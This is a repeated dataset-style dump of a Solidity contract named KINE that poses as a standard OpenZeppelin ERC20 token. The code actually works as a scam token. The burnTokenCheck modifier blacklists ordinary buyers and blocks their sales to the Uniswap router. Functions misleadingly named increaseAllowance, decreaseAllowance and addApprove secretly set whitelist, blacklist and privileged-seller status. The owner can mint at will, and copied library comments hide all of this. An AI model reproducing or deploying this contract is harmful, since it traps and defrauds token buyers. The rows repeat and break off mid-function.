* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
2546,
2651
]
} | 11,724 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
2709,
2833
]
} | 11,725 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
3041,
3225
]
} | 11,726 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
